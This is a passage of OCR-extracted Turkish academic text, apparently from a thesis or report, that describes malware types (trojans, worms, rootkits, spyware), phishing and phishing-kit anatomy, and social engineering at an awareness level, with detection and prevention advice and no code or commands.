olarak truva at1 viriisiinii sisteme bulastirmis olmaktadir. Ornegin; "{icretsiz mp3 hit
sarki indir" yazilimini yiikleyin gibi bir ifade ile karsilastiginizda bilinen yasal mp3
miizik indirme programlari disindaki bir yazilimi bilgisayariniza bulastirarak Sizi

kurulan bu tuzaga ¢ekmeleri cazip hale getirilerek miimkiin kilinabilir.

Truva atlar1, bilgisayarlari izinsiz olarak, uzaktan erisime agabilirler, elektronik
posta gonderebilirler, verilerinizi degistirebilir ya da bozabilirler, ag gegitlerinde
kendilerini saklayabilirler, ag i¢indeki dosya yiikleme sistemine bulasabilirler, giivenlik
yaziliminiz1 istemsiz olarak devre disi birakabilirler, hizmet dis1 saldirist ile hizmetin
gecici durdurulmasi veya yavaslatilmasi saldirisinda bulunabilirler ya da internet
erisiminize yavaslatip kopmalar yasamaniza neden olacak saldirilar1 yapabilirler. Bu
bile sirketlere ya da kisilere fazlasiyla maddi ve manevi zarar vermeye yeterli

olabilmektedir.

Truva atlari, genellikle kullaniciya mesru yazilim kiliginda goriinen bir tiir kotii
amaglh yazilimdir. Truva atlari, kullanicilarin sistemlerine erismeye c¢alisan siber
hirsizlar ve saldirganlar tarafindan kullanilabilir. Genellikle kullanicilari bir tiir sosyal
miithendislik kandirmacasiyla kandirarak truva ati yazilimmi sistemlerine yiikler ve
calistirarak sistemlerine sizmasina kendi elleriyle izin verirler. Truva atlan
etkinlestirildikten sonra siber saldirganlarin sizi takip etmeleri, hassas verilerinizi
kopyalamalar1 ve sisteminize arka kapi erisimi elde etmelerine izin vermis olursunuz.

Bu islemler arasinda sunlar bulunabilir:
o Veriyisilme
o Veriyi engelleme
o Veriyi degistirme
o Veriyi kopyalama
» Bilgisayarlarin veya bilgisayar aglarimin sistem performansini diigiirme
Truva atlarimin diger bilgisayar viriisleri ve solucanlarindan en 6énemli farki ise

kendi kendilerine gogalamamalar1 olarak sdylenebilir.
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Tanidiginiz birinden ya da kurumdan gelmis gibi goriinen ama siiphenizi
cekecek gariplikte ek olarak gozikken bir mail aldigimizda; ek olarak gelen
dosyayi tiklayinca direkt indirmek yerine icerigi ¢ok iyi tahlil edip kandirildiginizi
anlayabilirsiniz. Aslinda bu gelen mail bir siber su¢ludan gelmekte ve tiklayip agtiginiz
dosya, cihaziniza koti amacli yazilim yiiklemeye baslamis oluyor. Yazilimi
calistirdiginizda koti amagh  yazilmi  diger dosyalara bulastirabilirsiniz = ve
bilgisayariniza zarar vermesine neden olabilirsiniz. Truva atlar1 farkli farkli amaglar
dogrultusunda yazilmis gesitleri bulunmaktadir. Ornegin dosyalarmizi kopyalayarak
istenmeyen lgclincii kisilere gondermek, kredi kart1 bilgilerinizi kopyalamak,
dosyalariniz1 silmek, dosyalarinizi bozmak ve kullanilamaz hale getirmek gibi ¢esitli

zararlar verebilen tirleri mevcuttur.
4. Solucanlar:

Virlis gibi kendini bir bilgisayardan baska bilgisayara kopyalamak igin
tasarlanmig zararli yazilimlardir. Viriislerden farki yayilma islemini ag iizerinden
otomatik olarak yapmasidir. Otomatik yayilmanin olmasi nedeni ile zamanla bilgisayar
agmin yavas ¢aligmasi, internet sayfalarmin ge¢ gelmesine neden olurlar. Solucanlarin

genel yayillma yontemleri arasinda;

e E-posta eki olarak gonderilen dosyalar ile yayilma,

e Web veya FTP kaynagi baglantisi ile yayilma,

e [CQ veya IRC mesajinda gonderilen baglantilar ile yayilma

e P2P (esdiizeyler arasi) dosya paylasim aglar1 lizerinden yayilma

sayilabilmektedir.

Bununla birlikte bazi solucanlar, ag paketleri olarak yayilmaktadir. Bunlar
bilgisayar bellegine dogrudan girmekte ve ardindan solucan kodu etkinlestirilmektedir.

(Istanbul Universitesi Kariyer Gelistirme Uygulama ve Arastirma Merkezi, 2015)

Viriislere gore kendi kendini kopyalarken ana bir programa gerek duymamasi,
kendi kendini ¢ogaltma islemini bagimsiz yapabilmesi solucanlarin yayilim hizini
oldukc¢a yiiksek seviyelere tasimaktadir. Bilgisayar solucanlari genel olarak yerel ag
baglantisini kullanarak veya kullanicinin indirdigi bir dosya sayesinde sisteme sizdiktan
sonra yerel ag veya internet baglantisi iizerinden kendisinin birden fazla kopyasin

yaparak yayilmak suretiyle agdaki ¢ok iyi korunmayan tiim bilgisayarlar1 ve sunuculari
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etkileyerek cogalmaya devam eder. Ag solucanmin birbirini takip edebilen her bir
kopyasi da kendi kendine ¢ogalabildigi i¢in solucanlar internet ve yerel bilgisayar aglari

yoluyla olduk¢a hizli bir sekilde ¢ogalma imkanina sahip olurlar.

Daha komplike yapiya sahip olan zararli yazilimlardan biri olarak
degerlendirebiliriz. Solucanlar 6zellikle e-posta ile gonderilen dosyalardaki ekler, gesitli
internet siteleri ve yerel ag iizerinde kullanicilarin paylastigi dosyalart kullanarak
bilgisayarlar arasinda hizlica yayilirlar. Solucanlar, bir sistemi yayildiklarinda
kullanicinin baska herhangi bir hareketine ihtiyag duymaksizin, kullanicinin sahip
oldugu kayitli veri kaynaklarmi kullanarak (e-posta kisi ve adres listesi gibi) kendi
iletmek istedigi kaynak dosyalarini olabildigince hizli bir sekilde diger kullanicilara da
iletmeyi hedeflerler ve bu sekilde kendilerini oldukga kisa siirede ¢ogaltabilmektedirler.
Bunu yaparken solucanlar, kullanicilarin 6zellikle bant genisliklerini ve sahip olunan ag
kaynaklarini kullandiklarindan aglarin ¢alisamaz duruma gelecek kadar kilitlenmesine,
e-posta sunucularinin normalden fazla olarak asiri yiiklenmesine veya internet

kaynaklarina erigim hizinin olduk¢a yavaslamasina sebep olabilmektedirler.

Viriisler genellikle kullanicilar veri aligverisi yaptik¢a yayilmaktadir, ancak
solucanlar internet hizinda kendilerini gogaltabilir. Solucanlar tek bir bilgisayardaki
biitiin dosyalara bulasmak yerine olabildigince ¢ok sayida bilgisayara ulasip bulastigi

bilgisayarda ¢ogalmay1 kendine hedef edinmistir.

Solucanlarin ise oncelikli hedefi zarar vermek yerine sadece gezindiginiz
internet sitelerini, girilen kullanici adi ve sifrelerinizi, indirdiginiz programlarin
hangileri ve hangi siteden indirildiklerine dair bilgileri, yani bilgisayarda yaptiginiz her
seyi istenmeyentiigiincii kisilere rapor halinde bildirmektir. Solucan ilk is olarak,
bilgisayarda dosya aktarimini saglayan veya veri iletimi 6zelliklerinin denetimini ele
gecirmeye ¢alisir. Solucan sisteminize bulastiktan sonra kendi bagina hizlica ¢ogalabilir.
Solucanlarin kullanicilar agisindan bakacak olursak en biiyiik tehlikesi, kendilerini
olduk¢a fazla sayilarda cogaltabilme kaabiliyetleridir. Ornek verecek olursak, bir
solucan e-posta adres defterinizde bulunan tiim kisilerinize bir kopyasini yonlendirebilir
ve sonra ayni islemi onlarin bilgisayarlarinda da yapmaya ¢alisir. Genellikle solucanlar
kullanicinin  herhangi bir hareketini beklemeksizin yayilabilir ve kendisinin tam

kopyalarin1 bir agdan bagka aglara dagitma islemini yapabilir. Solucanlar 6zellikle
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bilgisayarin ya da sistemin bellegini veya ag bant genisligi hizlica tiiketebilir, bunun

sonucunda ise bilgisayarin hizinin kasmasina ya da tamamen ¢okmesine neden olabilir.

Solucanlar, kullanicinin herhangi bir etkisi olmadan yayilabilen bir bilgisayar
kodudur. Genellikle solucanlar, acildiginda bilgisayara ya da sisteminize viriis
bulastiran e-posta ekleri olarak kendilerini gosterirler. Solucanlar bulastig1 bilgisayarda,
adres defterleri veya gecici internet sayfalar1 gibi e-posta adresleri iceren dosyalarda
genel bir tarama yapar. Bilgisayar solucanlari, sizdiklar1 e-posta mesajlarin1 géndermek
icin kullanicinin sahip oldugu iletisim adresleri kullanir ve 6zellikle bu viriislii
mesajlarin tanidiginiz bildigimiz bir kisiden geliyormus gibi goriinmesini saglamak
adina genellikle sonraki e-posta mesajlarinda "Kimden™ adreslerini taklit ederek sistemi
ve giivenlik yazilimlarini kandirmaya calisir. Sonraki asamada solucanlar e-posta
mesajlarini, aglarin veya isletim sisteminin giivenlik agiklarini kullanarak genellikle
yavaglamaya neden olduran bu sorunun nedeni anlasilmadan ilgili Yyerleri ve
adresleriotomatik olarak doldurarak yayilma egilimi gosterirler. Aslinda solucanlarin
bilgisayarlara her zaman zarar verdigini sdylemek dogru olmaz, ancak genel olarak
bilgisayarin ve ag performansinin olduk¢a diismesi ve Kararlilik sorunlari yagsamasina

neden olmaktadir.

Solucanlart sisteme ¢ok zarar vermedikleri i¢in diger viriis ¢esitlerine gore hafife
almak, kullanicinin bunun bedelini internet hizinin ciddi oranda diismesi, bilgisayar
hizimizin ayn1 oranda etkili bir sekilde etkilenmesi, kisisel bilgi ve sifrelerinizin

calinmasi seklinde ciddi sonuglara katlanmasi gerektigi sonucunu dogurur.
5. Rootkit:

Bilgisayara bulasan, c¢alisan islemler arasinda kendini gizleyen, kotii niyetli
kisilere uzaktan bilgisayarinizin tam hakimiyetini saglayan tespit edilmesi olduk¢a zor
olan bilgisayar programidir. Viriisler gibi amaci sisteminizi yavaslatmak ve yayilmak
degildir. Bilgisayarimizin kontroliinii ele gec¢irmek ve bulundugu sistemde varligini
gizlemektir. Onceleri ¢ok kullanicili sistemlerde siradan kullanicilarin  y&netim
programlarina ve sistem bilgilerine erisimini gizlemek icin gelistirilmis ve kullanilmig
olmasma ragmen, kotii niyetli kullanimina da rastlamak miimkiindiir. Giivenilir bir
kaynaktan geldigine inanilan bir programin iist diizey yetki ile (root gibi) calistirilmasi

zararl bir rootkitin sisteme kurulmasina sebep olur. Benzer sekilde, ¢ok kullanicili bir
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sistemde kernel vs agiklart kullanilarak sistemde root yetkisi kazanip rootkit kurulmasi
en yaygin goriilen bulasma seklidir. Rootkitin gercekte hangi dosyalar1 degistirdigi,
kernele hangi modiilii yiikledigi, dosya sisteminin neresinde kayitli oldugu, hangi ag
servisi iizerinde dinleme yaparak uygun komutla harekete gegecegini tespit etmek
giictlir. Yine de, belli zamanlarda en temel komutlarin ve muhtemel rootkit bulasma
noktalarinin 6z degerlerinin saklanarak bunlarin daha sonra kontrol edilmesi gibi
metodlar kullanilabilir. (istanbul Universitesi Kariyer Gelistirme Uygulama ve

Aragtirma Merkezi, 2015)

Rootkit yani tlirk¢e anlamiyla kok kullanici takimi; {izerinde c¢alisilan siiregleri,
acilan dosyalar1 veya kullanilan igletim sisteminin sistem bilgilerini galistigi isletim
sisteminden bir yolunu bularak gizlemek kaydiyla varligini gizlice siirdiiren bir program
veya programlar grubuna denir. Esas amaci sistemde ¢ogalmak degil, var oldugu
sistemde varligini gizlemektir. Sistemde varligini gizledigi siirece kullanicin farkinda

olmadan yaptiklarini kayit altina alarak giivenlik zaafiyeti olusturmaktadir.

Sorun su ki Rootkit'in gercekte hangi dosyalar {izerinde oynama yaptigi,
¢ekirdege hangi modiilii ya da kod pargacigini yiikledigi, bilgisayarin dosya sisteminin
tam olarak neresinde kayitli oldugu ve hangi ag servisi iizerinde dinleme yaparak uygun
komut satirlariyla harekete gegecegini tespit etmek olduk¢a zordur. Bunlara ragmen
rootkit bulasip bulasmadiginin tespiti i¢in belli zaman araliklarinda en temel komutlarin
ve olas1 rootkit bulasabilecek yerlerin olmasi gereken normal degerlerinin saklanarak
daha sonra bunlarin kontrol edilip degerlendirilerek rootkit bulagip bulagmadigini analiz

edebilmek miimkiin olabilir.

Esas amac¢ rootkitlerde siber saldirganin kullanici hesaplarinda en yiiksek
yetkiye sahip olmaya ¢aligmasidir. En yiiksek yetkiye sahip olan rootkitler kazandigi
yetkilerle sistem igerisinde tiim kapilar1 agabilir ve yonetici yetkisi dahilinde sistem

tizerinde her tiirlii islemi yapabilir konuma gelebilir.

Aslinda rootkitler tek basina tehlikeli sayilmazlar. Buna ragmen viriisler, truva
atlar1 ve solucanlar ila beraber siber saldir1 agisindan inanilmaz bir bigimde tehlikeli
olabilirler. Rootkit'ler kullanicilardan ve de anti-viriis yazilimlarimin dijital zararlilarin
varligindan haberdar olmasmna engel oluyor. Genel itibariyla Windows isletim

sisteminin derinliklerine yerlesirler ki bulunmalar1 daha zor olsun, bu sayede daha uzun
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stire farkedilmeden sistem fonksiyonlarini kontrol edebilme imkanina sahip olsunlar. Bu
sekilde sisteme bulasarak Windows gezgini, gorev yoneticisi veya viriis tarama
islemlerinin dosya sistemine iliskin sorgulamalarin1 yakalamak yoluyla devaminda
kendilerine iliskin tiim var olan izleri silerek yok eder ve sorguya sahte bir yanit vererek
sistemi kandirip gizliligini siirdiirmeye calisir, bu sayede kotii niyetli caligmalarini
stirdiirme firsat1 elde ederler. Sonug olarak siklikla kulanilan araglar ya da yollarla
rootkitlerin izini siirmek sanildig1 gibi kolay degildir. Baz1 6zel araglar veya yazilimlar
kullanarak rootkitleri bulmak miimkiindiir. Anti-viriis programlari ile taratilan sistemde
hicbir zararli yazilim bulunmamasina ragmen rootkit tarama araglar1 veya yazilimlar ile
ayni sistemi tarattifinizda ytizlerce rootkit bulma ihtimaliniz oldukca yiiksektir. Su
unutulmamalidir ki tamamen giivenli bilgisayar fisi ¢ekili bilgisayar mantigindan yola

cikarak sisteminizi mutlaka diizenli olarak sinamaniz yarariniza olacaktir.

Rootkit'ler, esas olarak bilgisayarimizda gizli kalabilmeleri i¢in tasarlanmis bir
kot amagh yazilim tiirtidiir. En 6nemli ayrint1 siz onlar1 fark etmeseniz de onlar arka
planda aktif olarak calisirlar. Siber saldirganlara bilgisayarinizi uzaktan kontrol etme

hakkin1 rootkitler kolayca verilebilirler.

Kotii amagh yazilim olan rootkitler bilgisayarinizin kontroliinii tamamen sizden
alabilir ve siber saldirganlarin bilgisayarinizi istedigi her tiirlii amag i¢in kullanmasi
imkanint verebilir. Bilgisayariniz herhangi bir devlet kurumuna karsi yapilan siber
saldirida kullanilabilir, organize suclara karisabilir, banka ve siber dolandiricilik
suglarinda arag olarak kullanilabilir ve biitiin bunlar yasanirken siz hig bir sekilde hi¢ bir
seyin farkinda olmayabilirsiniz, fark ettiginizde ise ¢ok gec¢ kalinmis olabilir. Bu
nedenledir ki sisteminizin mutlaka gerekli ara¢ gereclerle diizenli olarak taratilmasi

gerekmektedir.

Rootkit'ler, bilgisayar korsanlarinin sifrelerinizi ¢almasina izin veren
programlardan kredi kartinizi veya c¢evrimici bankacilik bilgilerinizi ¢almasin
kolaylastiran modiillere kadar ¢esitli araglar icerebilir. Rootkit'ler ayrica bilgisayar
korsanlarina giivenlik yaziliminit degistirme veya devre dis1 birakma ve anahtar
kelimenize dokundugunuz tuslar1 izleme olanagi sunarak suglularin kisisel bilgilerinizi

calmasini kolaylastirir.
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Kok setleri giivenlik yazilimini ele gegirebildiginden veya bozabildiginden, bu
tiir kotii amacgh yazilimlarin bilgisayarinizda uzun siire yasayabilecegi ve bu nedenle
onemli hasara yol acabilecegi tespit edilmistir. Aslinda kendini oldukga iyi gizlemis bir
rootkit kodunu ya da aracini tamamen ortadan kaldirmanin bir tek yolu kalabilir, o da
bilgisayarimizin isletim sistemini tamamen silmek veya sifirdan biitiin herseyi yeniden

olusturmaktir.

Kullanilan igletim sisteminin ¢ekirdegine rootkitler kendini eklediginden dolay1
bilgisayarimizda yiiklii bulunan aktif antiviriis programlar1 rootkitleri genellikle tespit
edip bulamaz. Rootkit igletim sisteminin ¢ekirdeginden veriler gonderip antiviriis
yazilimini yaniltma imkanina sahiptir ve ¢ekirdek yazilimina enfekte olduklarindan
rootkitlerin tespiti imkansiz hale gelebilir. Kendini sisteme bulastiran rootkit eger
yetenekliyse, sistemi temizlemek neredeyse ¢okta miimkiin olmayabilir ve en

sonunda bu temizleme islemi bilgisayarin bi¢imlendirilmesine neden olabilir.
6. Oltalama/ Yemleme (Phishing):

Yasadist yollarla kullanicilarin herhangi bir sistem i¢in kullandiklar1 kullanici
adi, sifre, kimlik bilgileri, kredi karti ayrintilar1 gibi bilgilerin ele gegirilmesidir.
Sézciik, Ingilizce password (sifre) ve fishing (balik avlamak) sozciiklerinin
birlesmesiyle olusturulmus phishing ifadesinin Tiirk¢e karsiligidir. "Yemleyici" diye
tanimlanan sifre avcilari, genelde e-posta gibi yollarla kisilere ulasir ve onlarin kredi
kart1 gibi ayrintilarini sanki resmi bir kurummus gibi ister. Bu tip mailleri cevaplayan
kullanicilarin da hesaplari, sifreleri vb. 6zel bilgileri calinmaktadir. Ornek olarak;
format agisindan resmi bir banka konseptinde bir e-posta alinir, ve bu epostada sifre,
kredi kart1 numaras1 vb. bilgilerin verilmesi Onerilir. Yemleme karsisinda tiim bankalar
gibi kurumlar hi¢bir zaman kullanicilarindan e-posta araciligi ile 6zel bilgilerini
istemeyeceklerini, boyle bir durumda e-postayr vb. talepleri kendilerine iletmelerini
onerirler. (Istanbul Universitesi Kariyer Gelistirme Uygulama ve Arastirma Merkezi,

2015)

Phishing yani tiirkge karsiligi "oltalama", e-postanin igerisine gizlenen silah
olarak kullanan bir siber saldiridir. Amag, e-posta alicisini, kullaniciya gelen e-postay1
yine kullanicinin bagka bir kullanicidan bekledigi mesaja, istedikleri veya ihtiyag

duyduklar1 bir seye (6rnegin bankalarindan bir talep veya sirketlerindeki bir kisiden
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gelen bir not) inandirarak kandirmak amaciyla bir baglantiyr tiklamak veya bir eki

indirmek seklinde kullanicin kandirilmasi amaglanmastir.

Phishing kelimesi oltalama, yemleme veya kimlik avi olarakta kullanilmaktadir.
Kimlik avini gercekten ayiran sey, iletinin aldigir bigimdir: saldirganlar, genellikle
gercek veya makul olarak gercek bir kisi veya kurbanin is yapabilecegi bir sirket olarak
giivenilen bir varlik olarak maskelenir. 1990'lara dayanan en eski siber saldir
tiirlerinden biridir ve kimlik avi mesajlar1 ve teknikleri giderek daha karmasik hale

gelen hala en yaygin ve zararlilardan biridir.

Oltalama saldiris1 yapmak i¢in uzman olmaya gerek yoktur. Internet ortamindan
bulunup kuracaginiz "oltalama Kkitleri” (Phishing Kit) denilen programlar sayesinde
basit teknik bilgi ve beceriniz varsa kolayca kullanilip siber saldir1 yapabilmek oldukga
kolay hale gelmistir. Herhangi bir oltalama kitini yiikleyen kullanici uzman olmasa bile
diger internet kullanicilar1 ve sitelerine artik potansiyel bir tehdit olarak kabul edilebilir.
Fakat siber saldirgan olmaya calisirken indirilen oltalama kitinin igerisine yerlestirilen
kiigiik bir zararli yazilim kod pargasiyla bir anda avci olan siber saldirgan, bir baska

siber saldirganin avi konumuna diisebilir.

Sekil 1. Oltalama Kitinin Anatomisi

Anatomy of a
Phishing Kit

Before we dive into the results, it's important to talk
a bit about how phishing kits wox!

=B

1. 2. 3.
The legitimate The login page is The modified files are
website is cloned changed topointtoa bundiled into a zip file

credential-stealing script to make a phishing kit

‘H ‘n@w
[ -2

4. S.

‘The phishing kit Emails are sent with
isuploaded to the links pointing to the
hacked website, new spoofed website

files are unzipped

Kaynak: (FRUHLINGER, 2020)
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Sekil 1'de oltalama kitinin anatomisi genel hatlariyla adim adim belirtilmistir. Birinci
adimda oltalama kiti programi sayesinde herhangi bir yasal internet sitesi kopyalanmis
olur. ikinci adimda ise klonlanan internet sitesinde birebir ayn1 goriintii ile klonlanan
giris sayfas1 kimlik bilgisi ¢alma kod parcacigina yonlendirilir. Ugiincii adimda ise giris
sayfasindan kullanicinin farkinda olmadan sahte siteye yazdig1 giris bilgi ve sifresi, koti
amachi kod pargacigi sayesinde oltalama yapabilmek icin sikistirilarak oltalama
yapilacak site ya da kisiye gonderilmek iizere paketlenir. Dordiincti adimda oltalama
Kiti yazilimi sayesinde hacklenmis siteden alinan sikistirllmis dosyalar agilarak siber
saldirganlarin istedigi e-posta veya siteye yiiklenir. Son adim olan besinci adimda ise
hacklenen kisinin adres defterinde ki kayitli e-posta adreslerine sanki tanidik ve
giivenilir kisiden geliyormusgasina baslik eklenerek oltalama adi verilen siber saldir1 e-
postalar1 yeni kurbanlarina gonderilir. Bu sayede kimlik avi yani oltalama yapilarak
siber saldirgan ve saldirganlar tarafindan yeni kullanici bilgileri kullaniciya fark

ettirilmeden ele gegirilmeye c¢alisilir.
7. Casus Programlar (Spyware):

Casus programlar bilgisayarinizda casusluk yapmak i¢in yaratilmis
programlardir. Casus yazilim, kullanicilara ait 6nemli bilgilerin ve kullanicinin yaptig
islemlerin, kullanicinin bilgisi olmadan toplanmasin1 ve bu bilgilerin kotii niyetli
kisilere gonderilmesini saglayan yazilim olarak tanimlanir. Bu casus yazilimlar, diger
kotiiciil yazilimlara gére ozellikle Internet kullanicilari tarafindan sistemlere farkinda
olmadan bulastirilmaktadirlar. Casus yazilimlar, viriis ve solucanlarin aksine sisteme
bulastiktan sonra yayilmaya ihtiya¢ duymaz. Amag, bulastirilan sistemde gizliligi
saglayarak bilgi toplamaktir. Bu bilgi kimi zaman bir kredi karti numarast gibi 6nemli
bir bilgi bile olabilir. Bunun disinda, Ticari firmalar internet iizerindeki kullanict
aligkanhklarini  saptamak  amaciyla casus  yazilmlart  Internet  {izerinde
yayabilmektedirler. (Istanbul Universitesi Kariyer Gelistirme Uygulama ve Arastirma
Merkezi, 2015)

Casus yazilim, bilgisayariniza kendini yiikleyen ve bilginiz veya izniniz
olmadan c¢evrimi¢i davramiginizt  gizlice izlemeye baslayan herhangi bir
yazilimdir. Casus yazilim, bir kisi veya kurulus hakkinda gizlice bilgi toplayan ve bu

verileri diger taraflara aktaran bir tiir kotii amagli yazilimdir. Bazi durumlarda, bunlar
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reklamverenler veya pazarlama veri firmalar1 olabilir, bu yiizden casus yazilimlara
bazen “adware” denir. Drive-by indirme, yasal bir programa dahil edilmis bir truva ati

veya aldatici bir agilir pencere gibi yontemlerle kullanici izni olmadan ytiklenir.

Casus yazilimlar, internet baglantinizi adiniz, adresiniz, tarama aliskanliklariniz,
tercihleriniz, ilgi alanlariniz veya indirmeleriniz gibi kisisel bilgileri aktarmak i¢in
kullanir. Diger casus yazilim tiirleri tarayicinizi bagka bir web sitesine yonlendirmek,
cihazinizin arama yapmasina veya metinleri otomatik olarak gondermesine veya
¢evrimdisi olsaniz bile rahatsiz edici reklamlar sunmasina neden olur. Kullanici adinizi,
sifrenizi veya diger kimlik bilgilerinizi c¢alan casus yazilimlara “keylogger” denir.

Casus yazilim bulasma belirtileri istenmeyen davraniglart ve sistem
performansinin diismesini icerebilir. CPU kapasitesini, disk kullanimini ve ag trafigini
yiyebilir. Uygulamalarin donmasi, 6nyiikleme basarisizligi, internete baglanma zorlugu

ve sistem ¢okmeleri gibi kararlilik sorunlari da yaygindir.

Kullanic1 hangi verilerin toplandigin1 ve kimlerle paylasildigini tam olarak
anladig1 siirece tiim veri toplama programlarma casus yazilim demek dogru
degildir. Ozellikle pazarlama sirketlerinin cerezleri acisindan bakarsak, kullanict
bilgilerini izleme ve raporlama, yasal yazilim saticilarmin {riinlerini geligtirmelerine
veya miisterileri daha iyi desteklemelerine yardimci olma amaci tasirlar ve bu bakimdan
casus yazilimlar ile arasinda ¢ok ince bir ¢igi vardir. Bu nedenle, pazarlama sirketleri
genellikle hizmetlerini "casus yazilim" olarak adlandirmaya itiraz ederler. Yasadisi
casus yazilimlar ve mesru veri toplama arasindaki ¢izgi genellikle bireylerin
cithazlarinda internet davranisi hakkinda bilgi depolamanin bilinen bir yontemi olan
gerezlerde ¢izilir. Baz1 kullanicilar gerezlere izin verir, bazilar1 ise ¢erezlerden tam

anlamiyla hosnutsuzluk duygusu tasiyarak olaya bakarlar.

Casus yazilim bir tiir kotli amagh yazilimdir ve kullanicinin izni olmadan bir
bilgisayar veya ag hakkinda bilgi toplar ve paylasir. Orijinal yazilim paketlerinin gizli
bir bileseni olarak veya aldatici reklamlar, web siteleri, e-posta, anlik mesajlar ve
dogrudan dosya paylasim baglantilar1 gibi geleneksel kotii amagli yazilim vektorleri
aracilifiyla yiiklenebilir. Diger kotii amacgh yazilim tiirlerinden farkli olarak, casus
yazilimlar sadece su¢ orgiitleri tarafindan degil, ayn1 zamanda vicdansiz reklamverenler

ve rizasi olmadan kullanicilardan piyasa verilerini toplamak i¢in casus yazilim kullanan
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sirketler tarafindan da yogun bir sekilde kullanilmaktadir. Kaynagindan bagimsiz
olarak, casus yazilimlar kullanicidan gizlenir ve algilanmasi genellikle zordur, ancak
sistem performansinin bozulmasi ve istenmeyen davranislarin sikligi (pop-up'lar,

yonlendirilmis tarayici ana sayfasi, arama sonuglar1 vb.) gibi belirtilere yol agabilir.

Casus yazilimlar ayni zamanda ag olusturma oOzellikleriyle de dikkate
degerdir. Casus yazilim bu bilgileri saldirgana geri gobnderemezse, bilgileri bulmak i¢in
virlislii bir sistem kullanmak ¢ok az deger tasir. Sonug¢ olarak, casus yazilim, bir
saldirganla siiphe yaratmayacak veya ag giivenlik ekiplerinden dikkat g¢ekmeyecek
sekilde iletisim kurmak igin ¢esitli teknikler kullanir.

Reklamcilik i¢in bir ara¢ olarak, casus yazilimlar, ilgili reklam verenlere veya
diger ilgili taraflara kullanici bilgilerini toplamak ve satmak i¢in kullanilir. Casus
yazilimlar, internette gezinme aliskanliklar1 ve indirme etkinligi de dahil olmak iizere
neredeyse her tiirlii veriyi toplayabilir. Belki de casus yazilimlarla ilgili en biiyiik
endise, varlig1 tespit edilip edilmedigine bakilmaksizin, kullanicinin hangi bilgilerin
yakalandig1, gonderildigi veya kullanildigina dair herhangi bir fikre veya ne bulmak i¢in

herhangi bir mekanizmaya veya teknolojiye sahip olmasidir.

Casus yazilimlar, kullanicinin adi, adresi, parolalari, banka ve kredi bilgileri ve
sosyal giivenlik bilgileri gibi kisisel ayrintilar1 elde etmek i¢in tus kaydedicileri
kullanabilir. Dosyalar1 sistemin sabit diskine tarayabilir, diger uygulamalar1 arayabilir,
ek casus yazilim yiikleyebilir, ¢erezleri okuyabilir ve sistemin internet ayarlarini ve
dinamik olarak bagli Kkiitiiphaneleri (DLL) degistirebilir. Bu, giivenlik ayarlarinin
diismesine (kotii amagli yazilimlara daha fazla davet etmek igin) ve internet ile
bilgisayardaki arizalarin, ister g¢evrimigi ister ¢evrimdisi olsun, sistemin internet
ayarlarinda derinden kaynakli baglanti hatalarma kadar degisen arizalara neden
olabilir. Bu degisikliklerin bir ¢ogunu, etkilenen cihazi yeniden goriintiilemeden geri

almak veya kurtarmak oldukga zordur.

Casus yazilimlarin viriis bulasmis bilgisayarlara verdigi tehditlere ek olarak,
¢ogu zaman islemci giiclinii, RAM'1, diskleri ve ag trafigini de barindiran 6nemli bir
sistem kaynagi tiiketicisi olabilir. Sonugta ortaya ¢ikan performans diisiisii ¢okmelere

veya genel sistem kararsizligina neden olabilir. Bazi casus yazilimlar, rakip casus
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yazilim programlarin1 devre dis1 birakir veya ortadan kaldirir ve kullanicinin programi

kaldirma girisimlerini algilayabilir ve engelleyebilir.

Casus yazilimlar, u¢ nokta ve ag giivenligi denetimlerinin bir kombinasyonu ile
Onlenebilir. Casus yazilim onleme Ozellikleri genellikle u¢ noktada koruma saglayan
modern antiviriis yazilimi {riinlerine entegre edilir. Casus yazilimlarin ag iizerinden
iletisim kurmas1 gerektigi g6z Oniine alindiinda, casus yazilimlar da casus yazilim
iletisiminin algilanabilecegi ve engellenebilecegi ag giivenligi katmaninda giderek daha
fazla kontrol edilmektedir. Buna ek olarak, siiriicii indirme korumalari, tarayicinin pop-
up engelleyicisi kullanilarak ve kullanicinin izni olmadan dosya indirilmesini 6nleyen
yeni nesil ag denetimleri kullanilarak bitis noktasinda uygulanabilir. Son olarak, hangi
yazilim bilesenlerinin, eklentilerin ve hizmetlerin bir cihazda ve ag iizerinde ¢alismasina
izin verildigini izlemek ve dogrulamak kullanicilarin siber saldirtya ugramamasi

agisindan dnemlidir.
8. Sosyal Miihendislik:

Temel olarak bilgisayar ya da bilgisayar aglarindaki agikliklardan faydalanarak
bilgisayar sistemlerine zarar veren yaklagimlarin aksine “sosyal miihendislik” yontemi
insanlarin iletisim, diisiince tarzi, giiven ya da kisaca insani zaaflarindan faydalanarak
siber giivenlik stireclerinin etkisiz hale getirilmesi ya da atlatilmas1 seklinde
tanimlanabilir. Sosyal miihendislik yontemleri; ¢esitli yalanlar yolu ile sahte senaryolar
tiretmek, hedef kisiye kendini giivenilir bir kaynak olarak tanitmak ya da basit
odiillendirme yontemleri ile bilgi sizdirmak seklinde dzetlenebilir. (Istanbul Universitesi

Kariyer Gelistirme Uygulama ve Arastirma Merkezi, 2015)
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Sekil 2. Sosyal Miihendislik Saldirilarinin Yasam Dongiisti

izleri yok et ve
gizli kal

Baglanti ;
noktasini i ) Arag olustur
giglendir & veya elde et

Erisimi genislet
ve kimlik
bilgilerini elde g
Giden
baglantinin
kabulini
kontrol et

Kaynak (BASAKCI, 2019)

Sosyal mihendislik, insanlarin zaaflarim1 kullanarak kandirma yoluyla
gerceklestirilen  ¢ok  gesitli kot amagh  islemler i¢in  kullanilan  bir
kavramdir. Kullanicilar1 giivenlik hatalar1 yapmak veya hassas bilgileri vermek icin

kandirmak i¢in psikolojik manipiilasyon kullanir.

Sekil 2'de sosyal miihendislik saldirilar1 yapilirken kullanilan yontelerinr yasam
dongiisii genel hatlartyla verilmistir. Bu adimlar bir veya daha fazla adimda da
gercekleseir. Bir fail ilk olarak, saldirtyr siirdiirmek igin gereken potansiyel Sisteme
sizma noktalar1 ve iyi yapilandirilmamig zayif giivenlik protokolleri gibi gerekli arka
plan bilgilerini toplamak i¢in hedeflenen kurbani arastirir. Ardindan, saldirgan,
magdurun giivenini kazanmak i¢in hareket eder ve hassas bilgileri ortaya ¢ikarmak veya
kritik kaynaklara erisim vermek gibi giivenlik uygulamalarin1 bozan sonraki eylemler

icin uyaricilar saglar.

Sosyal miihendisligi 0Ozellikle tehlikeli yapan sey, yazilim ve isletim
sistemlerindeki giivenlik agiklarindan ziyade insan hatasma dayanmasidir. Mesru
kullanicilar tarafindan yapilan hatalar, daha az 6ngoriilebilirdir, bu da onlar1 kotii amacl

